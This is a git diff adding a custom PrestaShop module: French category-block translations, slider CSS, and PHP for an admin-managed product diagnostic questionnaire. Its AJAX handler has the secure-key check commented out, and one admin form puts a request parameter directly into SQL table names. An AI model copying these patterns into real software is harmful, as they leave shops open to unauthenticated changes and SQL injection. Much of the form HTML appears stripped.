+$_MODULE['<{blockcategories}prestashop>blockcategories_15a6f5841d9e4d7e62bec3319b4b7036'] = 'Ajoute un bloc proposant une navigation au sein de vos catégories de produits'; +$_MODULE['<{blockcategories}prestashop>blockcategories_23e0d4ecc25de9b2777fdaca3e2f3193'] = 'Profondeur maximum : nombre invalide'; +$_MODULE['<{blockcategories}prestashop>blockcategories_0cf328636f0d607ac24a5c435866b94b'] = 'Dynamic HTML : choix invalide'; +$_MODULE['<{blockcategories}prestashop>blockcategories_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockcategories}prestashop>blockcategories_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockcategories}prestashop>blockcategories_19561e33450d1d3dfe6af08df5710dd0'] = 'Profondeur maximum'; +$_MODULE['<{blockcategories}prestashop>blockcategories_ef35cd8f1058f29151991e9ca94b36fb'] = 'Détermine la profondeur maximale affichée (0 = infinie)'; +$_MODULE['<{blockcategories}prestashop>blockcategories_971fd8cc345d8bd9f92e9f7d88fdf20c'] = 'Dynamique'; +$_MODULE['<{blockcategories}prestashop>blockcategories_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockcategories}prestashop>blockcategories_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockcategories}prestashop>blockcategories_e16f248b047fb7d0c97dcc19b17296a3'] = 'Activer l\'arbre dynamique (animé)'; +$_MODULE['<{blockcategories}prestashop>blockcategories_6b46ae48421828d9973deec5fa9aa0c3'] = 'Trier'; +$_MODULE['<{blockcategories}prestashop>blockcategories_883f0bd41a4fcee55680446ce7bec0d9'] = 'par position'; +$_MODULE['<{blockcategories}prestashop>blockcategories_54e4f98fb34254a6678f0795476811ed'] = 'par nom'; +$_MODULE['<{blockcategories}prestashop>blockcategories_cf3fb1ff52ea1eed3347ac5401ee7f0c'] = 'croissant'; +$_MODULE['<{blockcategories}prestashop>blockcategories_e3cf5ac19407b1a62c6fccaff675a53b'] = 'décroissant'; +$_MODULE['<{blockcategories}prestashop>blockcategories_5f73e737cedf8f4ccf880473a7823005'] = 'Nombre de colonnes pour le pied de page'; +$_MODULE['<{blockcategories}prestashop>blockcategories_d5e74c74b1457c285adc8b2c2ab03767'] = 'Détermine le nombre de colonne pour le footer'; +$_MODULE['<{blockcategories}prestashop>blockcategories_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcategories}prestashop>blockcategories_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; + \ No newline at end of file diff --git a/modules/devspeblockcategories/translations/fr2.php b/modules/devspeblockcategories/translations/fr2.php new file mode 100755 index 0000000..c014a8d --- /dev/null +++ b/modules/devspeblockcategories/translations/fr2.php @@ -0,0 +1,27 @@ +blockcategories_footer_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blockcategories}prestashop>blockcategories_8f0ed7c57fca428f7e3f8e64d2f00918'] = 'Bloc catégories'; +$_MODULE['<{blockcategories}prestashop>blockcategories_15a6f5841d9e4d7e62bec3319b4b7036'] = 'Ajoute un bloc proposant une navigation au sein de vos catégories de produits'; +$_MODULE['<{blockcategories}prestashop>blockcategories_23e0d4ecc25de9b2777fdaca3e2f3193'] = 'Profondeur maximum : nombre invalide'; +$_MODULE['<{blockcategories}prestashop>blockcategories_0cf328636f0d607ac24a5c435866b94b'] = 'Dynamic HTML : choix invalide'; +$_MODULE['<{blockcategories}prestashop>blockcategories_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockcategories}prestashop>blockcategories_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockcategories}prestashop>blockcategories_19561e33450d1d3dfe6af08df5710dd0'] = 'Profondeur maximum'; +$_MODULE['<{blockcategories}prestashop>blockcategories_ef35cd8f1058f29151991e9ca94b36fb'] = 'Détermine la profondeur maximale affichée (0 = infinie)'; +$_MODULE['<{blockcategories}prestashop>blockcategories_971fd8cc345d8bd9f92e9f7d88fdf20c'] = 'Dynamique'; +$_MODULE['<{blockcategories}prestashop>blockcategories_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockcategories}prestashop>blockcategories_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockcategories}prestashop>blockcategories_e16f248b047fb7d0c97dcc19b17296a3'] = 'Activer l\'arbre dynamique (animé)'; +$_MODULE['<{blockcategories}prestashop>blockcategories_6b46ae48421828d9973deec5fa9aa0c3'] = 'Trier'; +$_MODULE['<{blockcategories}prestashop>blockcategories_883f0bd41a4fcee55680446ce7bec0d9'] = 'par position'; +$_MODULE['<{blockcategories}prestashop>blockcategories_54e4f98fb34254a6678f0795476811ed'] = 'par nom'; +$_MODULE['<{blockcategories}prestashop>blockcategories_cf3fb1ff52ea1eed3347ac5401ee7f0c'] = 'croissant'; +$_MODULE['<{blockcategories}prestashop>blockcategories_e3cf5ac19407b1a62c6fccaff675a53b'] = 'décroissant'; +$_MODULE['<{blockcategories}prestashop>blockcategories_5f73e737cedf8f4ccf880473a7823005'] = 'Nombre de colonnes pour le pied de page'; +$_MODULE['<{blockcategories}prestashop>blockcategories_d5e74c74b1457c285adc8b2c2ab03767'] = 'Détermine le nombre de colonne pour le footer'; +$_MODULE['<{blockcategories}prestashop>blockcategories_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcategories}prestashop>blockcategories_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; diff --git a/modules/devspeblockcategories/translations/index.php b/modules/devspeblockcategories/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspeblockcategories/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspediagnostic/ajax_devspediagnostic.php b/modules/devspediagnostic/ajax_devspediagnostic.php new file mode 100755 index 0000000..1422ecb --- /dev/null +++ b/modules/devspediagnostic/ajax_devspediagnostic.php @@ -0,0 +1,52 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspediagnostic.php'); + +$context = Context::getContext(); +$home_itemr = new Diagnostic(); +$items = array(); +// if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_itemr->secure_key || !Tools::getValue('action')) + // die(1); + +if (Tools::getValue('action') == 'updateitemsPosition' && Tools::getValue('items')) +{ + + $items = Tools::getValue('items'); + + foreach ($items as $position => $id_item) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspediagnostic_items` SET `position` = '.(int)$position.' + WHERE `id_item` = '.(int)$id_item + ); + + } + + $home_itemr->clearCache(); +} + diff --git a/modules/devspediagnostic/bx_styles.css b/modules/devspediagnostic/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspediagnostic/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspediagnostic/condition.php b/modules/devspediagnostic/condition.php new file mode 100755 index 0000000..7531ab7 --- /dev/null +++ b/modules/devspediagnostic/condition.php @@ -0,0 +1,97 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Conditions extends ObjectModel +{ + public $id_condition; + + public $id_question_1; + public $id_reponse_1; + public $id_question_2; + public $id_reponse_2; + public $id_question_3; + public $id_reponse_3; + public $id_product_1; + public $id_product_2; + // public $id_product; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspediagnostic_conditions', + 'primary' => 'id_condition', + 'multilang' => false, + 'fields' => array( + // 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + // 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => false), + + // Lang fields + 'id_question_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_reponse_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_question_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_reponse_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_question_3' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_reponse_3' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_product_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_product_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + // echo "test2"; + // die(); + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspediagnostic` (`id_shop`, `id_item`) + // VALUES('.(int)$id_shop.', '.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + return true; + } + +} diff --git a/modules/devspediagnostic/devspediagnostic.php b/modules/devspediagnostic/devspediagnostic.php new file mode 100755 index 0000000..551c27a --- /dev/null +++ b/modules/devspediagnostic/devspediagnostic.php @@ -0,0 +1,2231 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspediagnostic/diagnostic.php'); +include_once(_PS_MODULE_DIR_.'devspediagnostic/condition.php'); +include_once(_PS_MODULE_DIR_.'devspediagnostic/masquerquestion.php'); +include_once(_PS_MODULE_DIR_.'devspediagnostic/substitution.php'); +include_once(_PS_MODULE_DIR_.'devspediagnostic/reorientation.php'); + +class devspeDiagnostic extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspediagnostic'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion du diagnostic'); + $this->description = $this->l('Administrer le diagnostic'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('actionShopDataDuplication')) + { + // /* Sets up configuration */ + // $res = Configuration::updateValue('devspediagnostic_WIDTH', '535'); + // $res &= Configuration::updateValue('devspediagnostic_HEIGHT', '300'); + // $res &= Configuration::updateValue('devspediagnostic_SPEED', '500'); + // $res &= Configuration::updateValue('devspediagnostic_PAUSE', '3000'); + // $res &= Configuration::updateValue('devspediagnostic_LOOP', '1'); + /* Creates tables */ + $res = $this->createTables(); + + /* Adds samples */ + // if ($res) + // $this->installSamples(); + + return $res; + } + return false; + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspediagnostic_WIDTH'); + // $res &= Configuration::deleteByName('devspediagnostic_HEIGHT'); + // $res &= Configuration::deleteByName('devspediagnostic_SPEED'); + // $res &= Configuration::deleteByName('devspediagnostic_PAUSE'); + // $res &= Configuration::deleteByName('devspediagnostic_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* items */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic` ( + `id_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_item`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_items` ( + `id_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_items_lang` ( + `id_item` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `question` varchar(255) NOT NULL, + `repA` varchar(255) NOT NULL, + `repB` varchar(255) NOT NULL, + `repC` varchar(255) NOT NULL, + `repD` varchar(255) NOT NULL, + `repE` varchar(255) NOT NULL, + `texterepA` text NOT NULL, + `texterepB` text NOT NULL, + `texterepC` text NOT NULL, + `texterepD` text NOT NULL, + `texterepE` text NOT NULL, + PRIMARY KEY (`id_item`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_croisement` ( + `id_item` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_reponse` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_product` int(10) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_exclusion` ( + `id_item` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_reponse` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_product` int(10) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_conditions` ( + `id_condition` int(11) NOT NULL AUTO_INCREMENT, + `id_question_1` int(11) NOT NULL, + `id_question_2` int(11) NOT NULL, + `id_question_3` int(11) NOT NULL, + `id_reponse_1` int(11) NOT NULL, + `id_reponse_2` int(11) NOT NULL, + `id_reponse_3` int(11) NOT NULL, + `id_product_1` int(11) NOT NULL, + `id_product_2` int(11) NOT NULL, + PRIMARY KEY (`id_condition`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_reorientations` ( + `id_reorientation` int(11) NOT NULL AUTO_INCREMENT, + `id_question_1` int(11) NOT NULL, + `id_question_2` int(11) NOT NULL, + `id_reponse_1` int(11) NOT NULL, + `id_reponse_2` int(11) NOT NULL, + `id_product_1` int(11) NOT NULL, + PRIMARY KEY (`id_reorientation`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_masquerquestions` ( + `id_masquerquestion` int(11) NOT NULL AUTO_INCREMENT, + `id_question_1` int(11) NOT NULL, + `id_question_2` int(11) NOT NULL, + `id_reponse_1` int(11) NOT NULL, + PRIMARY KEY (`id_masquerquestion`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspediagnostic_substitutions` ( + `id_substitution` int(11) NOT NULL AUTO_INCREMENT, + `id_product_1` int(11) NOT NULL, + `id_product_2` int(11) NOT NULL, + PRIMARY KEY (`id_substitution`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $items = $this->getitems(); + foreach ($items as $item) + { + $to_del = new Diagnostic($item['id_item']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspediagnostic`, `'._DB_PREFIX_.'devspediagnostic_items`, `'._DB_PREFIX_.'devspediagnostic_items_lang`, `'._DB_PREFIX_.'devspediagnostic_croisement`, `'._DB_PREFIX_.'devspediagnostic_exclusion`; + '); + } + + public function getContent() + { + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + $divLangName = 'cpara¤dd'; + + // xml loading + $xml = false; + if (file_exists($this->_xmlFile)) + if (!$xml = @simplexml_load_file($this->_xmlFile)) + $this->_html .= $this->displayError($this->l('Your text is empty.')); + + // TinyMCE + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->_html .= ' + + + + '; + else + { + $this->_html .= ' + + '; + } + + $this->_html .= $this->headerHTML(); + + /* Validate & process */ + if (Tools::isSubmit('submititem') || Tools::isSubmit('delete_id_item') || + Tools::isSubmit('submititem_bis') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_html .= '

          '.$this->displayName.'

          '; + $this->_displayForm(); + } + elseif (Tools::getValue('type') && $this->itemExists((int)Tools::getValue('id_item'))){ + + if (Tools::isSubmit('formcroisement') || Tools::isSubmit('formexclusion')){ + $this->_postProcessProducts(Tools::getValue('type')); + $this->_displayForm(); + }else{ + $this->_displayFormProducts(Tools::getValue('type')); + } + }elseif (Tools::isSubmit('additem') || (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item')))){ + $this->_html .= '

          '.$this->displayName.'

          '; + $this->_displayAddForm(); + }elseif (Tools::getValue('addReorientation') || Tools::getValue('id_reorientation') || Tools::getValue('delete_id_reorientation')){ + + if (Tools::isSubmit('formreorientation') || Tools::getValue('delete_id_reorientation')){ + $this->_postProcessReorientations(); + $this->_displayForm(); + $this->_displayFormConditionsList(); + $this->_displayFormSubstitutionsList(); + $this->_displayFormMasquerquestionList(); + $this->_displayformreorientationList(); + }else{ + $this->_displayformreorientation(); + } + }elseif (Tools::getValue('addCondition') || Tools::getValue('id_condition') || Tools::getValue('delete_id_condition')){ + + if (Tools::isSubmit('formconditions') || Tools::getValue('delete_id_condition')){ + $this->_postProcessConditions(); + $this->_displayForm(); + $this->_displayFormConditionsList(); + $this->_displayFormSubstitutionsList(); + $this->_displayFormMasquerquestionList(); + $this->_displayformreorientationList(); + }else{ + $this->_displayFormConditions(); + } + }elseif (Tools::getValue('addSubstitution') || Tools::getValue('id_substitution') || Tools::getValue('delete_id_substitution')){ + + if (Tools::isSubmit('formsubstitutions') || Tools::getValue('delete_id_substitution')){ + $this->_postProcessSubstitutions(); + $this->_displayForm(); + $this->_displayFormConditionsList(); + $this->_displayFormSubstitutionsList(); + $this->_displayFormMasquerquestionList(); + $this->_displayformreorientationList(); + }else{ + $this->_displayFormSubtitutions(); + } + }elseif (Tools::getValue('addMasquerquestion') || Tools::getValue('id_masquerquestion') || Tools::getValue('delete_id_substitution')){ + + if (Tools::isSubmit('formmasquerquestion') || Tools::getValue('delete_id_masquerquestion')){ + $this->_postProcessMasquerquestions(); + $this->_displayForm(); + $this->_displayFormConditionsList(); + $this->_displayFormSubstitutionsList(); + $this->_displayFormMasquerquestionList(); + $this->_displayformreorientationList(); + }else{ + $this->_displayFormMasquerquestions(); + } + }else{ + $this->_html .= '

          '.$this->displayName.'

          '; + $this->_displayForm(); + $this->_displayFormConditionsList(); + $this->_displayFormSubstitutionsList(); + $this->_displayFormMasquerquestionList(); + $this->_displayformreorientationList(); + } + + return $this->_html; + } + + private function _displayForm() + { + /* Gets items */ + $items = $this->getitems(); + + /* Begin fieldset items */ + $this->_html .= ' +
          + '.$this->l('Gestion des questions du diagnostic').' + + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucune question enregistrée').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + #'.$item['id_item'].' '.$item['question'].' +

            + + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '


          '; + } + private function _displayFormConditionsList() + { + /* Gets items */ + $items = $this->getitemsConditions(); + + /* Begin fieldset items */ + $this->_html .= ' +
          + '.$this->l('Gestion des conditions de substitution de produits').' + + + '.$this->l('Ajouter une condition').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucune condition enregistrée').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + + #'.$item['id_condition'].' : + Q'.$item['id_question_1'].' R'.$item['id_reponse_1'].' + '.($item['id_question_2']!=0?' et Q'.$item['id_question_2'].' R'.$item['id_reponse_2']:'').' + '.($item['id_question_3']!=0?' et Q'.$item['id_question_3'].' R'.$item['id_reponse_3']:'').' + , Produit #'.$item['id_product_1'].' remplace Produit #'.$item['id_product_2'].' +

            + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + private function _displayformreorientationList() + { + /* Gets items */ + $items = $this->getitemsReorientations(); + + /* Begin fieldset items */ + $this->_html .= ' +

          + '.$this->l('Gestion des réorientations des réponses incohérentes').' + + + '.$this->l('Ajouter une condition de réorientation').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucune condition de réorientation enregistrée').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + + #'.$item['id_reorientation'].' : + Si Q'.$item['id_question_1'].' R'.$item['id_reponse_1'].' + '.($item['id_question_2']!=0?' et Q'.$item['id_question_2'].' R'.$item['id_reponse_2']:'').' + '.($item['id_question_3']!=0?' et Q'.$item['id_question_3'].' R'.$item['id_reponse_3']:'').' + réoriention pour : Q'.$item['id_question_4'].' R'.$item['id_reponse_4'].' +

            + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + private function _displayFormMasquerquestionList() + { + /* Gets items */ + $items = $this->getitemsMasquerquestions(); + + /* Begin fieldset items */ + $this->_html .= ' +

          + '.$this->l('Gestion des questions à masquer selon la réponse').' + + + '.$this->l('Ajouter une condition de masquage').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucune condition enregistrée').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + + #'.$item['id_masquerquestion'].' : + Si Q'.$item['id_question_1'].' R'.$item['id_reponse_1'].', alors Q'.$item['id_question_2'].' sera masquée +

            + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + private function _displayFormSubstitutionsList() + { + /* Gets items */ + $items = $this->getitemsSubstitution(); + + /* Begin fieldset items */ + $this->_html .= ' +

          + '.$this->l('Gestion des substitution de produits dans un même rituel').' + + + '.$this->l('Ajouter une substitution').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucune substitution enregistrée').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + + #'.$item['id_substitution'].' : + Le produit #'.$item['id_product_1'].' ne sera pas affiché, si il se trouve dans le même rituel que le produit #'.$item['id_product_2'].' +

            + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + public function getProductsItems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product,id_lang,name + FROM '._DB_PREFIX_.'product_lang pl + WHERE pl.id_lang = '.(int)$id_lang.' + ORDER BY pl.id_product'); + } + private function _displayFormProducts($table="croisement") + { + /* Sets item : depends if edited or added */ + + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + // devspediagnostic_croisement + + + $category14 = new Category(14, $id_lang_default); + $category14->products = $category14->getProducts($id_lang_default, 0, 100); + $category15 = new Category(15, $id_lang_default); + $category15->products = $category15->getProducts($id_lang_default, 0, 100); + $category16 = new Category(16, $id_lang_default); + $category16->products = $category16->getProducts($id_lang_default, 0, 100); + $category17 = new Category(17, $id_lang_default); + $category17->products = $category17->getProducts($id_lang_default, 0, 100); + + $item = null; + if (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item'))) + $item = new Diagnostic((int)Tools::getValue('id_item')); + + $id_item=(int)$item->id; + $question=$item->question[$id_lang_default]; + $repA=$item->repA[$id_lang_default]; + $repB=$item->repB[$id_lang_default]; + $repC=$item->repC[$id_lang_default]; + $repD=$item->repD[$id_lang_default]; + $repE=$item->repE[$id_lang_default]; + if($repA!="")$max=1; + if($repB!="")$max=2; + if($repC!="")$max=3; + if($repD!="")$max=4; + if($repE!="")$max=5; + /* Form */ + $this->_html .= '
          '; + if($table=="croisement") + $this->_html .= '

          Croisement des produits

          Les produits cochés apparaîtront dans le diagnostic (si ils ne sont pas exclus)'; + else + $this->_html .= '

          Exclusion des produits

          Les produits cochés ci-dessous n\'apparaîtront pas dans le diagnostic (annule le croisement)

          '; + $this->_html .= '

          Question : #'.$id_item.' : '.$question.'

          '; + $this->_html .= '
          '; + $this->_html .= ''; + + /* Fieldset edit/add */ + for($i=1;$i<=$max;$i++){ + + if($i==1){$lettre="A";$rep=$repA;} + if($i==2){$lettre="B";$rep=$repB;} + if($i==3){$lettre="C";$rep=$repC;} + if($i==4){$lettre="D";$rep=$repD;} + if($i==5){$lettre="E";$rep=$repE;} + $this->_html .= '
          '; + $this->_html .= 'Réponse '.$lettre.' - '.$rep.''; + $this->_html .= ''; + + /* cat 14 */ + $productsSelected14=array(); + if($products14=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product + FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' + WHERE id_item = '.$id_item.' + and id_category=14 + and id_reponse='.$i)) + foreach($products14 as $id_product) + if(!in_array($id_product['id_product'],$productsSelected14)) + $productsSelected14[]=$id_product['id_product']; + $this->_html .= '


          '; + foreach ($category14->products as $product) + { + $this->_html .= ' + +
          '; + } + $this->_html .= '
          '; + /* end cat 14 */ + + /* cat 15 */ + $productsSelected15=array(); + if($products15=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product + FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' + WHERE id_item = '.$id_item.' + and id_category=15 + and id_reponse='.$i)) + foreach($products15 as $id_product) + if(!in_array($id_product['id_product'],$productsSelected15)) + $productsSelected15[]=$id_product['id_product']; + $this->_html .= '


          '; + foreach ($category15->products as $product) + { + $this->_html .= ' + +
          '; + } + $this->_html .= '
